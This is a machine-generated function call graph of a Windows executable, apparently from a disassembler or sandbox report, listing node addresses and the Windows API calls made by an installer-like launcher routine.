8859->8852 8859->8854 8860 40ebc5 8859->8860 8859->8865 8877 40f112 8859->8877 8881 40e008 8859->8881 8924 40ed7f ??2@YAPAXI 8859->8924 8926 40f0bf 8859->8926 8862 40e690 4 API calls 8860->8862 8863 40ebe4 8862->8863 8864 40e585 ctype 4 API calls 8863->8864 8864->8865 8868 401261 SendMessageW 8867->8868 8869 40120b GetDiskFreeSpaceExW 8867->8869 8870 401249 8868->8870 8869->8868 8871 401223 8869->8871 8870->8836 8870->8837 8871->8868 8872 4021b3 19 API calls 8871->8872 8873 40123c 8872->8873 8874 408d65 27 API calls 8873->8874 8875 401242 8874->8875 8875->8870 8876 40125a 8875->8876 8876->8868 8878 40f13b 8877->8878 8930 40ef75 8878->8930 8934 40ffea 8881->8934 8884 40e025 8884->8859 8886 40e071 ??2@YAPAXI 8895 40e059 8886->8895 8887 40e139 8952 40dcfd 8887->8952 8889 40e095 ??2@YAPAXI 8889->8895 8895->8886 8895->8887 8895->8889 8988 40db28 ??2@YAPAXI 8895->8988 8912 40e726 8911->8912 8914 40e72c 8911->8914 8912->8844 8913 40e742 _CxxThrowException 8913->8912 8914->8912 8914->8913 8916 40c39f 4 API calls 8915->8916 8917 40e56b 8916->8917 8917->8844 8919 40c397 ctype 4 API calls 8918->8919 8920 40e593 8919->8920 8922 40db12 ctype 4 API calls 8921->8922 8923 40e69b 8922->8923 8925 40edb1 8924->8925 8925->8859 8927 40f0c4 8926->8927 8928 40f0eb 8927->8928 8929 40ee54 112 API calls 8927->8929 8928->8859 8929->8927 8933 40ef7a 8930->8933 8931 40efb0 8931->8859 8932 40ee54 112 API calls 8932->8933 8933->8931 8933->8932 8935 410003 8934->8935 8950 40e021 8934->8950 8935->8950 9018 40fdcb 8935->9018 8937 4101dd 8939 40c419 ctype 4 API calls 8937->8939 8938 40fdcb 8 API calls 8941 41009f 8938->8941 8939->8950 8941->8937 8942 4100cf 8941->8942 9025 40c419 8942->9025 8944 410155 8946 40c419 ctype 4 API calls 8944->8946 8945 4100d8 8945->8944 8947 40d7b5 _CxxThrowException ??2@YAPAXI memcpy ??3@YAXPAX 8945->8947 8948 410191 8946->8948 8947->8945 8949 40c419 ctype 4 API calls 8948->8949 8949->8950 8950->8884 8951 406edf InitializeCriticalSection 8950->8951 8951->8895 9056 40d794 8952->9056 8989 40db37 8988->8989 9097 40d7b5 8989->9097 9019 40c397 ctype 4 API calls 9018->9019 9020 40fdd7 9019->9020 9029 40c2ce 9020->9029 9022 40fdf3 9022->8937 9022->8938 9023 40fde1 9023->9022 9024 40e563 4 API calls 9023->9024 9024->9023 9026 40c3f8 9025->9026 9037 40c2ba 9026->9037 9030 40c362 9029->9030 9031 40c2e1 9029->9031 9030->9023 9032 40c2f0 _CxxThrowException 9031->9032 9033 40c320 ??2@YAPAXI 9031->9033 9034 40c352 ??3@YAXPAX 9031->9034 9032->9031 9033->9031 9035 40c336 memcpy 9033->9035 9034->9030 9035->9034 9041 401d26 VirtualFree 9037->9041 9042 40c419 4 API calls 9037->9042 9044 40b7f0 9037->9044 9048 409f20 9037->9048 9051 40453f 9037->9051 9038 40c2cb ??3@YAXPAX 9038->8945 9041->9038 9042->9038 9045 40b816 9044->9045 9046 401d3f free 9045->9046 9047 40b83c 9046->9047 9047->9038 9049 401d3f free 9048->9049 9050 409f2a 9049->9050 9050->9038 9052 40c397 ctype 3 API calls 9051->9052 9053 40454d 9052->9053 9054 40c2ba ctype 3 API calls 9053->9054 9055 40c402 ??3@YAXPAX 9054->9055 9055->9038 9057 40c397 ctype 4 API calls 9056->9057 9058 40d79c 9057->9058 9059 40c397 ctype 4 API calls 9058->9059 9060 40d7a4 9059->9060 9061 40c397 ctype 4 API calls 9060->9061 9062 40d7ac 9061->9062 9100 40c39f 9097->9100 9101 40c3c6 9100->9101 9102 40c3a7 9100->9102 9101->8895 9103 40c2ce 4 API calls 9102->9103 9103->9101 9256 412dcf __set_app_type __p__fmode __p__commode 9257 412e3e 9256->9257 9258 412e52 9257->9258 9259 412e46 __setusermatherr 9257->9259 9268 412f46 _controlfp 9258->9268 9259->9258 9261 412e57 _initterm __getmainargs _initterm 9262 412eab GetStartupInfoA 9261->9262 9264 412edf GetModuleHandleA 9262->9264 9269 406da1 _EH_prolog 9264->9269 9268->9261 9272 405750 ?_set_new_handler@@YAP6AHI@ZP6AHI@Z 9269->9272 9629 401d4d GetModuleHandleW CreateWindowExW 9272->9629 9275 406d80 MessageBoxA 9277 406d97 exit _XcptFilter 9275->9277 9276 40578e 9276->9275 9278 4057a8 9276->9278 9279 401484 2 API calls 9278->9279 9280 4057df 9279->9280 9281 401484 2 API calls 9280->9281 9282 4057ea 9281->9282 9632 4044f2 9282->9632 9287 4027ee 2 API calls 9288 405828 9287->9288 9641 402e02 9288->9641 9290 405831 9655 404424 9290->9655 9294 405850 _wtol 9296 405866 9294->9296 9660 404932 #17 9296->9660 9297 404424 3 API calls 9298 405896 9297->9298 9299 4058d0 9298->9299 9300 40589c 9298->9300 9302 404424 3 API calls 9299->9302 9821 404ec8 9300->9821 9303 4058db 9302->9303 9304 4058e1 9303->9304 9305 4058ec 9303->9305 9838 4052d6 9304->9838 9308 404424 3 API calls 9305->9308 9306 4058a3 ??3@YAXPAX 9309 40453f 4 API calls 9306->9309 9314 4058fb 9308->9314 9310 4058b4 ??3@YAXPAX ??3@YAXPAX 9309->9310 9310->9277 9311 405930 GetModuleFileNameW 9312 405942 9311->9312 9313 405954 9311->9313 9316 408dd2 57 API calls 9312->9316 9317 404424 3 API calls 9313->9317 9314->9311 9315 40119e 2 API calls 9314->9315 9315->9311 9354 4058a1 9316->9354 9328 405976 9317->9328 9318 405b12 9319 4013d5 2 API calls 9318->9319 9320 405b22 9319->9320 9321 4013d5 2 API calls 9320->9321 9325 405b2f 9321->9325 9322 405a67 9324 404424 3 API calls 9322->9324 9323 405a34 9323->9322 9327 405a50 _wtol 9323->9327 9323->9354 9336 405ac6 9324->9336 9326 405bb4 9325->9326 9330 40139c 2 API calls 9325->9330 9686 4023cc 9326->9686 9327->9322 9328->9318 9328->9322 9328->9323 9328->9354 9846 401552 9328->9846 9332 405b64 9330->9332 9335 40139c 2 API calls 9332->9335 9334 40139c 2 API calls 9337 405bda ??2@YAPAXI 9334->9337 9341 405b7a 9335->9341 9336->9318 9338 404ac6 2 API calls 9336->9338 9339 405be6 9337->9339 9340 405af7 9338->9340 9689 40bf94 9339->9689 9340->9318 9342 4013d5 2 API calls 9340->9342 9343 4013d5 2 API calls 9341->9343 9342->9318 9344 405ba4 9343->9344 9346 4021b3 19 API calls 9344->9346 9348 405bab 9346->9348 9351 4027ee 2 API calls 9348->9351 9349 405c13 9352 408dd2 57 API calls 9349->9352 9350 405c39 9692 40284f 9350->9692 9351->9326 9352->9354 9354->9306 9357 405c4e 9358 405c54 9357->9358 9359 405c78 9357->9359 9360 408dd2 57 API calls 9358->9360 9361 405d0a 9359->9361 9363 404424 3 API calls 9359->9363 9362 405c5c ??3@YAXPAX 9360->9362 9364 40c397 ctype 4 API calls 9361->9364 9362->9354 9366 405c8f 9363->9366 9365 405d12 9364->9365 9367 405d37 9365->9367 9875 40342c 9365->9875 9366->9361 9374 405c95 9366->9374 9369 405cee ??3@YAXPAX 9367->9369 9388 405d40 9367->9388 9369->9354 9371 405d2c ??3@YAXPAX 9371->9354 9372 405db1 9726 404b35 9372->9726 9373 405d4c wsprintfW 9376 401484 2 API calls 9373->9376 9374->9369 9849 4054f0 9374->9849 9376->9388 9378 405cc4 9378->9369 9380 405cca 9378->9380 9379 401484 2 API calls 9379->9388 9381 408dd2 57 API calls 9380->9381 9382 405cd2 ??3@YAXPAX 9381->9382 9382->9354 9383 4021b3 19 API calls 9383->9388 9384 406035 9387 404b35 26 API calls 9384->9387 9385 40139c ??2@YAPAXI ??3@YAXPAX 9385->9388 9386 404247 lstrlenW lstrlenW _wcsnicmp 9432 405dba 9386->9432 9389 406044 9387->9389 9388->9372 9388->9373 9388->9379 9388->9383 9388->9385 9904 403305 ??2@YAPAXI 9388->9904 9910 4026c6 ??3@YAXPAX ??3@YAXPAX 9388->9910 9390 4061cc 9389->9390 9936 40247a AllocateAndInitializeSid 9389->9936 9785 4026dc 9390->9785 9396 40627d 9788 404620 9396->9788 9398 406069 9401 401484 2 API calls 9398->9401 9399 40279d 2 API calls 9442 4061e4 9399->9442 9403 406071 9401->9403 9406 401484 2 API calls 9403->9406 9404 406310 CoInitialize 9413 4026dc lstrcmpW 9404->9413 9405 4062a4 9408 4026dc lstrcmpW 9405->9408 9409 406079 GetCommandLineW 9406->9409 9412 4062b3 9408->9412 9414 404ac6 2 API calls 9409->9414 9410 40627f ??3@YAXPAX 9410->9396 9411 401484 ??2@YAPAXI ??3@YAXPAX 9411->9442 9415 4062c3 9412->9415 9418 4021b3 19 API calls 9412->9418 9416 406336 9413->9416 9417 406089 9414->9417 9973 4041d7 9415->9973 9419 40634a 9416->9419 9422 40139c 2 API calls 9416->9422 9420 40279d 2 API calls 9417->9420 9418->9415 9424 4041f0 16 API calls 9419->9424 9423 406094 9420->9423 9422->9419 9939 4048d8 9423->9939 9428 406350 9424->9428 9426 4013d5 2 API calls 9426->9442 9430 4026dc lstrcmpW 9428->9430 9429 407d17 22 API calls 9431 4062e6 9429->9431 9434 40635f 9430->9434 9976 407a8a ??3@YAXPAX 9431->9976 9432->9384 9432->9386 9458 405f99 _wtol 9432->9458 9486 406179 ??3@YAXPAX 9432->9486 9911 404d7f 9432->9911 9922 404677 9432->9922 9439 406373 9434->9439 9440 406366 _wtol 9434->9440 9436 40139c 2 API calls 9436->9442 9444 406399 9439->9444 9977 408f94 9439->9977 9440->9439 9441 4062f1 ??3@YAXPAX 9441->9354 9442->9396 9442->9399 9442->9410 9442->9411 9442->9426 9442->9436 9445 403305 7 API calls 9442->9445 9972 4026c6 ??3@YAXPAX ??3@YAXPAX 9442->9972 9443 4048f6 2 API calls 9446 4060cc 9443->9446 9449 406384 ??3@YAXPAX 9444->9449 9475 4063ad 9444->9475 9993 408ec7 9444->9993 9445->9442 9949 404914 9446->9949 9449->9444 9453 40625a ??3@YAXPAX 9456 4026dc lstrcmpW 9453->9456 9454 4026dc lstrcmpW 9454->9475 9455 40157d 2 API calls 9457 4060e6 9455->9457 9456->9442 9459 4013d5 2 API calls 9457->9459 9458->9432 9462 4060f2 7 API calls 9459->9462 9460 401484 2 API calls 9460->9475 9954 404f96 9462->9954 9464 406532 ??3@YAXPAX 9464->9354 9465 4063eb GetKeyState 9465->9475 9466 40613b 9467 406145 ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 9466->9467 9468 406196 ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 9466->9468 9471 40616c 9467->9471 9468->9306 9470 4061c1 9468->9470 9469 406592 9472 4065c8 9469->9472 9473 40659a 9469->9473 9470->9306 9471->9354 9476 40136a 2 API calls 9472->9476 10041 404571 9473->10041 9475->9454 9475->9460 9475->9464 9475->9465 9475->9469 9478 401552 ??2@YAPAXI ??3@YAXPAX 9475->9478 9487 406582 ??3@YAXPAX ??3@YAXPAX 9475->9487 9488 406527 ??3@YAXPAX 9475->9488 9489 40654f 9475->9489 9490 40139c ??2@YAPAXI ??3@YAXPAX 9475->9490 10020 408474 9475->10020 10033 4084f2 9475->10033 9480 4065d6 9476->9480 9478->9475 9483 4041f0 16 API calls 9480->9483 9482 4013d5 2 API calls 9484 4065b7 ??3@YAXPAX 9482->9484 9485 4065df 9483->9485 9495 4065ff 9484->9495 9491 4065f0 ??3@YAXPAX 9485->9491 9493 4013d5 2 API calls 9485->9493 9486->9354 9487->9354 9488->9475 9492 408dd2 57 API calls 9489->9492 9490->9475 9491->9495 9494 40655b ??3@YAXPAX ??3@YAXPAX 9492->9494 9493->9491 9494->9354 9496 406649 9495->9496 9497 40663c 9495->9497 10054 408532 9496->10054 9794 401758 ??2@YAPAXI 9497->9794 9500 406645 9501 406686 9500->9501 9502 40665b 9500->9502 9503 404620 22 API calls 9501->9503 10062 4044dc 9502->10062 9504 40668b 9503->9504 9507 406c7c 9504->9507 9508 401484 2 API calls 9504->9508 9510 406cf4 9507->9510 9511 4026dc lstrcmpW 9507->9511 9509 4066a9 9508->9509 9554 4066bc 9509->9554 10066 404a70 9509->10066 9513 406d37 ??3@YAXPAX ??3@YAXPAX 9510->9513 9518 4026dc lstrcmpW 9510->9518 9516 406cad 9511->9516 9514 406d50 9513->9514 9515 406d56 ??3@YAXPAX 9513->9515 9514->9515 9517 40453f 4 API calls 9515->9517 9516->9510 10130 4044c3 9516->10130 9519 406d67 ??3@YAXPAX ??3@YAXPAX 9517->9519 9520 406d13 9518->9520 9519->9277 9520->9513 9525 406d20 9520->9525 9521 401484 ??2@YAPAXI ??3@YAXPAX 9521->9554 9523 4066eb 9526 406b12 ??3@YAXPAX ??3@YAXPAX 9523->9526 9527 4066f8 9523->9527 9530 40136a 2 API calls 9525->9530 9534 406c1b 9526->9534 9532 4048f6 2 API calls 9527->9532 9528 4026dc lstrcmpW 9528->9554 9529 407d17 22 API calls 9533 406ce9 9529->9533 9531 406d2f 9530->9531 10134 405333 9531->10134 9537 406714 9532->9537 10133 407a8a ??3@YAXPAX 9533->10133 9535 406c73 ??3@YAXPAX 9534->9535 9540 404620 22 API calls 9534->9540 9535->9507 9542 4048f6 2 API calls 9537->9542 9538 406758 9543 40139c 2 API calls 9538->9543 9544 406c2a 9540->9544 9545 406721 9542->9545 9546 406761 9543->9546 9811 404ddd 9544->9811 9548 4013d5 2 API calls 9545->9548 9550 404224 20 API calls 9546->9550 9553 40672d ??3@YAXPAX ??3@YAXPAX GetFileAttributesW 9548->9553 9549 406b78 ??3@YAXPAX ??3@YAXPAX 9549->9534 9566 40676a 9550->9566 9551 40139c 2 API calls 9551->9554 9552 406c43 SetCurrentDirectoryW 9555 404ddd 4 API calls 9552->9555 9556 406754 9553->9556 9557 406b29 9553->9557 9554->9521 9554->9523 9554->9528 9554->9538 9554->9549 9554->9551 9558 401552 2 API calls 9554->9558 9559 406c6b 9555->9559 9556->9538 9560 4044dc 16 API calls 9557->9560 9561 4067f8 ??3@YAXPAX ??3@YAXPAX 9558->9561 9562 4044dc 16 API calls 9559->9562 9563 406b2e 9560->9563 9561->9554 9562->9535 9564 408dd2 57 API calls 9563->9564 9565 406b37 ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 9564->9565 9565->9354 9565->9471 9567 406897 _wtol 9566->9567 9568 404281 lstrlenW lstrlenW _wcsnicmp 9566->9568 9569 40695b 9566->9569 9567->9566 9568->9566 9570 406964 9569->9570 9571 4069b6 9569->9571 9572 406989 9570->9572 9573 40696a 9570->9573 9574 4013d5 2 API calls 9571->9574 9575 40139c 2 API calls 9572->9575 9576 40139c 2 API calls 9573->9576 9577 4069b4 9574->9577 9579 406987 9575->9579 9578 406975 9576->9578 9580 4027ee 2 API calls 9577->9580 9581 4027ee 2 API calls 9578->9581 9583 4026dc lstrcmpW 9579->9583 9582 4069c8 9580->9582 9585 40697e 9581->9585 9584 401484 2 API calls 9582->9584 9586 40699e 9583->9586 9587 4069d0 9584->9587 9588 4027ee 2 API calls 9585->9588 9586->9582 9590 4027ee 2 API calls 9586->9590 9589 404ac6 2 API calls 9587->9589 9588->9579 9591 4069dd 9589->9591 9590->9577 9592 40279d 2 API calls 9591->9592 9593 4069e8 9592->9593 9594 404224 20 API calls 9593->9594 9595 4069f1 9594->9595 9596 406acc 9595->9596 10075 402449 9595->10075 9597 406bfa ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 9596->9597 9599 406ae0 ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 9596->9599 9597->9534 9599->9526 9600 406a06 9600->9596 9601 406a2c 9600->9601 9603 4027ee 2 API calls 9600->9603 9602 404224 20 API calls 9601->9602 9605 406a38 9602->9605 9604 406a20 9603->9604 9604->9601 9606 406aae 9605->9606 9607 406a3f 9605->9607 10082 40506d 9606->10082 9609 4048d8 2 API calls 9607->9609 9611 406a57 9609->9611 9610 406abc 9612 406b97 SetLastError 9610->9612 9613 406ac7 9610->9613 9614 4048f6 2 API calls 9611->9614 9616 406b9e 9612->9616 10127 4023e1 9613->10127 9617 406a67 9614->9617 9618 408dd2 57 API calls 9616->9618 9619 40157d 2 API calls 9617->9619 9620 406ba8 9618->9620 9621 406a74 ??3@YAXPAX ??3@YAXPAX 9619->9621 9622 4044dc 16 API calls 9620->9622 9623 404f96 9 API calls 9621->9623 9624 406bad 7 API calls 9622->9624 9625 406a98 9623->9625 9626 406bed 9624->9626 9627 406aa6 ??3@YAXPAX 9625->9627 9628 406b8f ??3@YAXPAX 9625->9628 9626->9597 9627->9613 9628->9616 9630 401d82 SetTimer GetMessageW DispatchMessageW KillTimer KiUserCallbackDispatcher 9629->9630 9631 401db5 GetVersionExW 9629->9631 9630->9631 9631->9275 9631->9276 9633 40119e 2 API calls 9632->9633 9634 404507 GetCommandLineW 9633->9634 9635 404ac6 9634->9635 9636 404b00 9635->9636 9637 404ad4 9635->9637 9638 404af8 9636->9638 9640 401552 2 API calls 9636->9640 9637->9638 9639 401552 2 API calls 9637->9639 9638->9287 9639->9637 9640->9636 9642 401484 2 API calls 9641->9642 9650 402e12 9642->9650 9643 402ef8 9644 4013d5 2 API calls 9643->9644 9645 402f05 ??3@YAXPAX 9644->9645 9645->9290 9646 401552 ??2@YAPAXI ??3@YAXPAX 9646->9650 9648 401484 2 API calls 9648->9650 9650->9643 9650->9646 9650->9648 9651 4013d5 2 API calls 9650->9651 10173 402867 9650->10173 10176 402b04 9650->10176 9652 402e72 ??3@YAXPAX 9651->9652 9653 401455 2 API calls 9652->9653 9654 402e87 ??3@YAXPAX ??3@YAXPAX 9653->9654 9654->9650 9656 404433 9655->9656 9657 404470 9656->9657 9658 40444d lstrlenW lstrlenW 9656->9658 9657->9294 9657->9296 10187 401ca0 9658->10187 9661 404949 9660->9661 9662 40215d 3 API calls 9661->9662 9663 40494e 9662->9663 9664 4021b3 19 API calls 9663->9664 9665 404955 9664->9665 9666 4021b3 19 API calls 9665->9666 9667 404961 9666->9667 9668 4021b3 19 API calls 9667->9668 9669 40496d 9668->9669 9670 4021b3 19 API calls 9669->9670 9671 404979 9670->9671 9672 4021b3 19 API calls 9671->9672 9673 404985 9672->9673 9674 4021b3 19 API calls 9673->9674 9675 404991 9674->9675 9676 4021b3 19 API calls 9675->9676 9682 40499d 9676->9682 9677 4049b8 SHGetSpecialFolderPathW 9678 4049d2 wsprintfW 9677->9678 9677->9682 9679 401484 2 API calls 9678->9679 9679->9682 9680 404a6b 9680->9297 9681 401484 2 API calls 9681->9682 9682->9677 9682->9680 9682->9681 9683 40139c ??2@YAPAXI ??3@YAXPAX 9682->9683 9685 403305 7 API calls 9682->9685 10197 4026c6 ??3@YAXPAX ??3@YAXPAX 9682->10197 9683->9682 9685->9682 10198 40239b LoadLibraryA GetProcAddress 9686->10198 9688 4023d1 9688->9334 10201 40bf72 9689->10201 9693 40253b 2 API calls 9692->9693 9694 402863 9693->9694 9695 403cbf 9694->9695 9696 40239b 3 API calls 9695->9696 9697 403ccd 9696->9697 9698 40284f 2 API calls 9697->9698 9699 403d06 9698->9699 9700 40284f 2 API calls 9699->9700 9701 403d0e 9700->9701 9702 40284f 2 API calls 9701->9702 9703 403d16 9702->9703 10207 403bce 9703->10207 9709 403dac 9710 403bce 7 API calls 9709->9710 9712 403dc2 9710->9712 9711 403bce 7 API calls 9716 403d53 9711->9716 9714 402c1a 10 API calls 9712->9714 9713 402c1a 10 API calls 9713->9716 9715 403dd4 9714->9715 10250 4029b5 9715->10250 9716->9709 9716->9711 9716->9713 9719 4029b5 2 API calls 9716->9719 10253 40297f 9716->10253 9719->9716 9720 403e4a ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 9720->9357 9721 403bce 7 API calls 9723 403dea 9721->9723 9722 402c1a 10 API calls 9722->9723 9723->9720 9723->9721 9723->9722 9724 40297f 2 API calls 9723->9724 9725 4029b5 2 API calls 9723->9725 9724->9723 9725->9723 9727 4026dc lstrcmpW 9726->9727 9728 404b4e 9727->9728 9729 404b9e 9728->9729 9731 40139c 2 API calls 9728->9731 9730 4026dc lstrcmpW 9729->9730 9733 404bbc 9730->9733 9732 404b65 9731->9732 9734 4021b3 19 API calls 9732->9734 9735 4026dc lstrcmpW 9733->9735 9736 404b6c 9734->9736 9737 404bd4 9735->9737 9738 4027ee 2 API calls 9736->9738 9740 4026dc lstrcmpW 9737->9740 9739 404b75 9738->9739 9741 40139c 2 API calls 9739->9741 9742 404bec 9740->9742 9743 404b8e 9741->9743 9745 4026dc lstrcmpW 9742->9745 9744 4021b3 19 API calls 9743->9744 9746 404b95 9744->9746 9747 404c04 9745->9747 9748 4027ee 2 API calls 9746->9748 9749 404c1b 9747->9749 9750 404c0b lstrcmpiW 9747->9750 9748->9729 9751 4026dc lstrcmpW 9749->9751 9750->9749 9752 404c31 9751->9752 9753 4026dc lstrcmpW 9752->9753 9754 404c5e 9753->9754 9755 404c6b 9754->9755 10283 4043d2 9754->10283 9757 4026dc lstrcmpW 9755->9757 9761 404c7f 9757->9761 9758 404c9f 9759 4026dc lstrcmpW 9758->9759 9769 404cb2 9759->9769 9761->9758 9762 4026dc lstrcmpW 9761->9762 10287 404379 9761->10287 9762->9761 9763 404cd2 9765 4026dc lstrcmpW 9763->9765 9766 404cde 9765->9766 9768 4026dc lstrcmpW 9766->9768 9767 4026dc lstrcmpW 9767->9769 9770 404cef 9768->9770 9769->9763 9769->9767 10291 4043aa 9769->10291 9771 4026dc lstrcmpW 9770->9771 9772 404d00 9771->9772 9773 404d16 9772->9773 9774 404d0d _wtol 9772->9774 9775 4026dc lstrcmpW 9773->9775 9774->9773 9776 404d22 9775->9776 9777 404d32 9776->9777 9778 404d29 _wtol 9776->9778 9779 4026dc lstrcmpW 9777->9779 9778->9777 9780 404d3e 9779->9780 9781 4026dc lstrcmpW 9780->9781 9782 404d56 9781->9782 9783 4026dc lstrcmpW 9782->9783 9784 404d6e 9783->9784 9784->9432 10299 402646 9785->10299 9789 404631 9788->9789 9790 404674 9788->9790 9791 40136a 2 API calls 9789->9791 9792 404224 20 API calls 9789->9792 9790->9404 9790->9405 9791->9789 9793 40464e SetEnvironmentVariableW ??3@YAXPAX 9792->9793 9793->9789 9793->9790 9795 401771 9794->9795 9810 40c5fe 3 API calls 9795->9810 9796 401795 9797 4017c0 9796->9797 10303 40110a 9796->10303 9799 408dd2 57 API calls 9797->9799 9809 4017c8 9799->9809 9801 4017e8 9802 401800 ??2@YAPAXI 9801->9802 9803 40371d 88 API calls 9801->9803 9804 401813 9802->9804 9805 40180c 9802->9805 9806 4017fb 9803->9806 10307 40163d 9804->10307 10326 40149c 9805->10326 9806->9802 9806->9809 9809->9500 9810->9796 9812 401484 2 API calls 9811->9812 9817 404dee 9812->9817 9813 40139c 2 API calls 9813->9817 9814 404e80 9816 404eba ??3@YAXPAX 9814->9816 9819 404ddd 3 API calls 9814->9819 9815 401552 2 API calls 9815->9817 9816->9552 9817->9813 9817->9814 9817->9815 9818 4026dc lstrcmpW 9817->9818 9818->9817 9820 404eb7 9819->9820 9820->9816 9822 407cb6 4 API calls 9821->9822 9823 404ee4 9822->9823 9824 4021b3 19 API calls 9823->9824 9825 404ef2 9824->9825 9826 40279d 2 API calls 9825->9826 9831 404efc 9826->9831 9827 404f32 wsprintfW 9828 4027ee 2 API calls 9827->9828 9830 404f60 9828->9830 9829 4027ee ??2@YAPAXI ??3@YAXPAX 9829->9831 9832 4027ee 2 API calls 9830->9832 9831->9827 9831->9829 9833 404f6d 9832->9833 9834 407d17 22 API calls 9833->9834 9835 404f82 ??3@YAXPAX 9834->9835 10744 407a8a ??3@YAXPAX 9835->10744 9837 404f93 9837->9354 9839 4052e3 9838->9839 9845 4052ff 9838->9845 9841 4052f5 _wtol 9839->9841 9839->9845 9840 404f96 9 API calls 9842 405322 9840->9842 9841->9845 9843 405330 9842->9843 9844 40532a GetLastError 9842->9844 9843->9354 9844->9843 9845->9840 9847 40140b 2 API calls 9846->9847 9848 40155c 9847->9848 9848->9328 9850 40c019 2 API calls 9849->9850 9851 40551c 9850->9851 9852 405578 9851->9852 9853 40279d 2 API calls 9851->9853 9854 40284f 2 API calls 9852->9854 9860 40552b 9853->9860 9855 405580 9854->9855 9856 4028e5 2 API calls 9855->9856 9857 40558d 9856->9857 9858 40297f 2 API calls 9857->9858 9861 40559a 9858->9861 9859 4055e9 ??3@YAXPAX 9874 4055e5 9859->9874 9860->9859 9862 40371d 88 API calls 9860->9862 9863 40297f 2 API calls 9861->9863 9864 40554f 9862->9864 9865 4055a7 9863->9865 9864->9859 9867 40c019 2 API calls 9864->9867 9866 40297f 2 API calls 9865->9866 9868 4055b4 9866->9868 9869 40556b 9867->9869 9870 40c662 2 API calls 9868->9870 9869->9859 9871 40556f ??3@YAXPAX 9869->9871 9872 4055c8 9870->9872 9871->9852 9872->9859 9873 4055d1 ??3@YAXPAX 9872->9873 9873->9874 9874->9378 9876 40284f 2 API calls 9875->9876 9882 403441 9876->9882 9877 4036e0 ??3@YAXPAX 9879 403717 9877->9879 9878 401484 ??2@YAPAXI ??3@YAXPAX 9878->9882 9879->9367 9879->9371 9880 40284f 2 API calls 9880->9882 9881 402b04 ??2@YAPAXI ??3@YAXPAX MultiByteToWideChar 9881->9882 9882->9877 9882->9878 9882->9880 9882->9881 9883 4013d5 2 API calls 9882->9883 9885 4036ec 9882->9885 9890 4035bf strncmp 9882->9890 9894 4013d5 2 API calls 9882->9894 9895 402957 2 API calls 9882->9895 9899 402957 ??2@YAPAXI ??3@YAXPAX 9882->9899 9900 403674 lstrlenW wcsncmp 9882->9900 9901 402646 lstrcmpW 9882->9901 9902 403305 7 API calls 9882->9902 9903 40139c 2 API calls 9882->9903 10745 40268e 9882->10745 10749 4026c6 ??3@YAXPAX ??3@YAXPAX 9882->10749 9884 4034b2 ??3@YAXPAX ??3@YAXPAX 9883->9884 9884->9882 9884->9885 10750 402d5c 9885->10750 9889 40370d ??3@YAXPAX 9889->9879 9890->9882 9892 4035aa strncmp 9890->9892 9892->9882 9892->9890 9896 40362c ??3@YAXPAX 9894->9896 9895->9892 9897 402e02 9 API calls 9896->9897 9898 40363d lstrcmpW 9897->9898 9898->9882 9899->9882 9900->9882 9901->9882 9902->9882 9903->9882 9905 403314 9904->9905 9908 40331f 9904->9908 10769 4029e3 9905->10769 9907 40d7b5 4 API calls 9909 40332b 9907->9909 9908->9907 9909->9388 9910->9388 9912 40279d 2 API calls 9911->9912 9913 404d91 9912->9913 9914 4027ee 2 API calls 9913->9914 9919 404d9e 9914->9919 9915 404dba 9916 4027ee 2 API calls 9915->9916 9918 404dc4 9916->9918 9917 401552 2 API calls 9917->9919 9920 404677 94 API calls 9918->9920 9919->9915 9919->9917 9921 404dcf ??3@YAXPAX 9920->9921 9921->9432 9923 4046ba 9922->9923 9924 40468e lstrlenW 9922->9924 9923->9432 9925 401ca0 CharUpperW 9924->9925 9926 4046a4 9925->9926 9926->9923 9926->9924 9927 4046c1 9926->9927 9928 40279d 2 API calls 9927->9928 9929 4046ca 9928->9929 10774 402b4c 9929->10774 9932 40342c 87 API calls 9933 404738 9932->9933 9934 404742 ??3@YAXPAX ??3@YAXPAX 9933->9934 9935 404759 ??3@YAXPAX ??3@YAXPAX 9933->9935 9934->9923 9935->9923 9937 4024d7 9936->9937 9938 4024bd CheckTokenMembership FreeSid 9936->9938 9937->9390 9937->9398 9938->9937 9940 4044f2 2 API calls 9939->9940 9941 4048e6 9940->9941 9942 401455 2 API calls 9941->9942 9943 4048f1 9942->9943 9944 4048f6 9943->9944 9945 40136a 2 API calls 9944->9945 9946 404904 9945->9946 9947 4027ee 2 API calls 9946->9947 9948 40490f 9947->9948 9948->9443 9950 40136a 2 API calls 9949->9950 9951 404922 9950->9951 9952 401552 2 API calls 9951->9952 9953 40492d 9952->9953 9953->9455 9955 401484 2 API calls 9954->9955 9956 404fa7 9955->9956 9957 401484 2 API calls 9956->9957 9958 404faf memset 9957->9958 9959 404fdd 9958->9959 9960 404ac6 2 API calls 9959->9960 9961 405000 9960->9961 9962 40139c 2 API calls 9961->9962 9963 40500b 9962->9963 9964 405010 ??3@YAXPAX 9963->9964 9965 405029 ShellExecuteExW 9963->9965 9966 40501b ??3@YAXPAX 9964->9966 9967 405043 9965->9967 9968 405069 9965->9968 9966->9466 9969 405057 CloseHandle 9967->9969 9970 40504c WaitForSingleObject 9967->9970 9971 405060 ??3@YAXPAX 9968->9971 9969->9971 9970->9969 9971->9966 9972->9453 9974 407cb6 4 API calls 9973->9974 9975 4041df 9974->9975 9975->9429 9976->9441 9978 409218 9977->9978 9991 408fb3 9977->9991 9978->9449 9979 407cb6 4 API calls 9979->9991 9980 408532 25 API calls 9980->9991 9981 4026dc lstrcmpW 9981->9991 9982 408474 25 API calls 9982->9991 9984 4084f2 25 API calls 9984->9991 9985 4041d7 4 API calls 9985->9991 9986 4021b3 19 API calls 9986->9991 9988 407d17 22 API calls 9988->9991 9989 408dd2 57 API calls 9989->9991 9990 4044c3 4 API calls 9990->9991 9991->9978 9991->9979 9991->9980 9991->9981 9991->9982 9991->9984 9991->9985 9991->9986 9991->9988 9991->9989 9991->9990 9992 408d65 27 API calls 9991->9992 10784 407d91 9991->10784 10788 407a8a ??3@YAXPAX 9991->10788 9992->9991 9994 4026dc lstrcmpW 9993->9994 9995 408edb 9994->9995 9996 408ee9 9995->9996 10789 401c0b GetStdHandle WriteFile 9995->10789 9998 408efc 9996->9998 10790 401c0b GetStdHandle WriteFile 9996->10790 